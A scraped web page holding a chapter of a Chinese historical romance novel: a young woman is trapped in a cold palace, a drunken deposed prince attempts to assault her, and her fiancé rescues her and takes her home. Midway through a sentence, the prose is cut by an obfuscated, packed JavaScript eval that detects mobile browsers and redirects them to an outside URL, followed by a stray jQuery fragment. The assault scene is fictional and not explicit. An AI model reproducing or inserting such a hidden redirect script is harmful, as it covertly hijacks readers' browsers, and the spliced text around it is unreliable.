默认冷灰
24号文字
方正启体

11. 第11章

作者:落雪南山本书字数:K更新时间:
    那位嬷嬷自然不会回答她,只一味地催她走快点。


    卫昙心中的惶惑越来越大,真正到了那座庞大却阴森森的冷宫前时,她的心跳到了嗓子眼。


    “进去!”


    嬷嬷的声音仿佛在瞬间苍老可怖了许多。


    卫昙只来得呼出“呀”地一声,瘦弱的身子已经被人大力地推进这座如同废墟的冷宫中。


    目及之处,满地的枯枝,落叶陷进泥泞的地面,这些都是从院子里面的那几棵高大的梧桐树上落下来的,满是灰尘的正房门紧闭着。


    看不见人,能听到的声音只有北风卷着落叶的鬼哭狼嚎。


    “吱嘎”两声如同巨响,门在她身后关上。


    卫昙猝然转身,拼命地去扒拉门闩,门从外面被锁住了,她只能拼命拍门呼喊:“来人啊,救命……”


    “谁?”


    如同鬼魅一般的声音打断了她的呼喊。


    卫昙缓缓地转身,看向声音的来源之处。


    不知从哪里冒出来个很高大的男人,他着了一身洗的发白的圆领袍子,袍子上的污渍很是打眼,没有束发,满脸胡须,只有黑黝黝的两眼特别分明,他光着一双脚站在还有霜雪的泥泞中。


    那人的一双眼中赤红赤红地,卫昙隔着一段距离都闻到了刺鼻的烈酒。


    “我,我……”她哆哆嗦嗦地,语不成调,那男子已经几步来到她身前,抓住其手腕。


    瞬间,她被人拖进那扇灰扑扑的门前。


    “你放开我,放开我,我迷路了……”卫昙企图解释,颤颤巍巍地喊哑了嗓子,男人充耳不闻,只是一根筋地把她拖进里面,一路从前厅拖到了后面的二进院子,再“砰”地把门关紧。


    卫昙的额头擦碰到桌沿,尖锐的疼痛让她顿时头晕目眩,然而更恐怖的是,这野人般的男人将她压在身下。


    地面坚硬冰冷,她被激地打起冷颤,使尽力气去推男人。


    酒气往她脸上喷,男人身上滚烫的气息让她全身起鸡皮疙瘩,眼泪哗哗得流。


    蓦然间,她想到裴蕴山说,“”我要娶你。”


    豆大的泪珠滚烫,卫昙使劲抓住自己的衣襟,想守住最后一道防线,可是男人力气大,到底还是让他撕开了衣襟……


    “你别动我,我未婚夫是遂宁军节度使裴蕴山!”


    情急之下,卫昙吼出这么一句,她不知有没有用,但总要试一试的。


    那人短暂地呆住,一瞬不瞬地盯住她,神情难辨,卫昙使尽全身力气一推,竟推开了他。


    她慌不择路地裹紧衣服,冲出门外,往自己来时的路跑,那人回神,立刻就追了上来。


    男人的速度比她快很多,很快追上了她,从背后抓住她,卫昙拼尽全力地用脚去踢他,泪还是不争气地使劲往外涌。


    就在这瞬间,如同废墟的冷宫门被打开。


    动静很大,来的人不仅多还尊贵,卫昙听见隐约有些熟悉的声音,“父皇,景煜疯疯癫癫的,您来此处作甚?”


    是长公主。


    那莫不是还有当今皇上?


    那这位……


    卫昙在电光火石间明白了这个男人的身份,大周的废太子景煜。


    饶是废太子被烈酒浇灌得神志不清,这会也缓缓地看向声音来源之处。


    周武帝带着的一群人信步而至,可看到的却是衣衫褴褛,酒气熏天的废太子正抓着一个女子,而这个女子大喊救命。


    卫昙来不及想更多,只能在这一刹对着皇帝这行人喊冤,以死明志。


    她喊完这声救命,便闭着眼闷头撞向屋檐下的廊柱。


    “卫昙!”


    裴蕴山的声音让她猝不及防,他那带厚茧的手指紧紧抓住了她的手腕。


    卫昙没能撞上廊柱,以死明志,只能“噗通”地撞上男人胸膛,泣不成声。


    废太子景煜已经被人拿下,此刻也跪扶在地,口中疯疯癫癫,不知在嘀咕着什么。


    周武帝怒不可遏,眯眼看向这白头女子,“你是何人,为何会出现在冷宫?”


    卫昙百口莫辩,不知从何说起,只能哆哆嗦嗦地长跪不起,若是她说是长公主着人让她入宫,谁会信?


    长公主却是走近几步看着痛哭流涕的她,大惊道:“父皇,您不要难为这小女子了,这位是我让人请进来的,我本想让您瞧瞧她配裴将军如何。景煜喝了那么多,又惹出这等事,这可如何是好?”


    卫昙本哭得不能自已,神智昏聩,忽然感觉到有双大手轻轻拍着她的后背,她莫名缓神过来,不知道长公主葫芦里卖的什么药,只能接着她的话瞎掰道:“我也不知怎么就到了这里,带路的嬷嬷说有事,让我顺着这路走,我……”


    “你抬起头来回话,有什么冤屈尽可以说出来,皇上会为你做主。”


    长公主点着卫昙。


    卫昙浑身一颤,正要应下,却听到身旁的裴蕴山沉沉开口道:“皇上,微臣有话要说。”


    周武帝示意他直说。


    裴蕴山的话石破天惊,“实不相瞒,我心有所属之人便是这位姑娘,她姓卫名昙,乃是驸马的表妹,我们已经定了亲,几日后便要拜堂成婚,今日之事,微臣还请陛下明察。”


    卫昙骤然抬头,不可置信地望着“未婚夫”。


    这个时候,任何男子只怕都不敢这么承认她是未婚妻。


    大周素来重女子贞洁,今天就算她没被这废太子玷污,这事要传出去,名声怎么都不能好听了。


    裴蕴山当众承认他们的关系,或多或少会给他招来骂名的。


    周武帝也犯了难,万没想到这女子居然是他最倚重的武将的未婚妻。


    他冷眸一凛,“把景煜押入刑部大牢,等候发落。”


    “至于这姑娘……”


    “裴蕴山,既然是你的未婚妻,先好生带回去罢。”


    “今日这事,交予大理寺严审,自会给你一个交代。”


    周武帝盛怒之下,拂袖而去,似没有要追究卫昙的意思,可她心中却惊惶不已,后怕着,若是今日他们这行人没有进来,她要沦落到何种境地?


    想到可怖的种种,卫昙亦步亦趋地跟着,全身发冷,任由着裴蕴山将她带走,一路从萧瑟的冷宫到繁华街市,她始终垂眸发着愣,仿若游魂,直到耳边传来街市上喧闹的叫卖声。


    她猝然抬眸,身子轻轻晃了晃,欲开口之际,听到身旁男子沉声问道:“可有想吃的?”


    他不只这么问,还倾过身子撩开车帘,黑眸笑望过来,“这家岭南点心铺子新开的,最有名的是凤梨酥,小凤饼。”


    卫昙这才惊觉自己已经出了那阴冷可怖的地方,眼中忽地一热,一个劲地摇头。


    热泪簌簌地,金珠子一般地落下来,悄无声息。


    裴蕴山一怔,下意识就举


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408728|200625||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起了手要去揩姑娘脸上的莹润的金珠子,马车滴滴答答地缓行着,那间岭南点心铺子的叫卖声越来越清晰。


    “新鲜出炉的凤梨酥,五文一大盒。”


    “小凤饼,十文钱一斤!”


    “先到先得。”


    卫昙被这叫卖声唤回了神,慌张地偏头揩泪,右边脸颊上猝不及防地传来粗粝的触感。


    她心中一悸,僵硬住,忘记了闪躲,右脸颊上粗粝的触感越来越强烈,那双手带着很厚重的茧,一点点地抚着湿痕,不急不慢,从右边脸颊处开始,到眼睫下,再到唇角,最后移到左边,揩走满脸的湿润,甚至带离了她自己僵硬在左脸上的手指。


    男人深邃的眸光一直专注在她脸上,可是却毫无波动,让人看不清其中的情绪。


    当然,卫昙此刻也无法分辨,甚至没法直视他的深眸。


    她的眼泪停了,身体也慢慢恢复了一点热度,后怕的感觉被男人霸道的气息侵染,也被街市喧闹的烟火气赶走了许多,卫昙这时才恍然地往马车壁上后撤了一些,直到再没有撤退的余地。


    她紧挨着马车壁,双手环抱住自己,眼中已然升上了警惕,裴蕴山看的分明,为她拭泪的手虚抬在空中,很快垂下手,云淡风轻地继续问:“你想吃凤梨酥还是小凤饼?”


    卫昙还不想说话,一味地摇头。


    裴蕴山点点头,却吩咐车外的人:“去岭南的小铺子买点心,每样都买一盒。”


    “不……”她慌忙拒绝,被裴蕴山抬手打断,“我饿了,你要是有兴趣,也尝尝。”


    他不说饿还好,一说起这事,卫昙竟觉得腹中一阵痉挛,难受地紧,发白的唇无声地动了动。


    七虎办事又快又好,把那岭南铺子里所有现成的点心都买来了一份,还买了胡饼,马车的小案上堆满了食盒,没打开已经是香味扑鼻。


    “咕咚,咕咚……”,卫昙慌忙按住肚子,低垂着头,不敢看对面的人。


    裴蕴山似乎没听到,大笑声遮住了她的窘迫,只道:“岭南人做的东西未免太袖珍了,一口一个都不够。”


    他大喇喇地拿起一个凤梨酥就入了口,把另一个凤梨酥推向她,“吃吧,确实很好吃,我不骗人的。”


    卫昙等他吃下几个胡饼,这才慢吞吞地吃下那个凤梨酥。


    酥脆鲜甜,真是她心心念念的味道。


    再尝了一口小凤饼,回味无穷。


    她空空的腹中被这些吃食填满,全身也跟着暖和起来,眼角余光中那只大手推过来一杯热茶。


    他坐在对面,也没说话,只是将茶推过来,把那些点心盒子打开,仅此而已。


    男人好像是真的饿了,一直闷头在吃,偶尔喝一点茶水,寂静的马车里就只有两人用点心的声音。


    卫昙本还觉得别扭,吃着吃着,竟浑然忘记对面还有个男人,或许是太饿了,方才又太失魂落魄。


    马车停下时,她已经吃的很饱,唇色都红润了,裴蕴山撩到她嫣红的唇瓣,喉间微滚,连忙大口喝尽了杯中的茶,大步下马车。


    卫昙撩开车帘,顿时怔住。


    这不是里巷。


    这里金钉朱户,院子起码是三进,看样子还是新置的院子。


    迎着她困惑的眼神,裴蕴山淡声道:“我可以叫你阿昙吗?”


    卫昙还没点头,又听到他说,“阿昙,这以后是我们的家。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)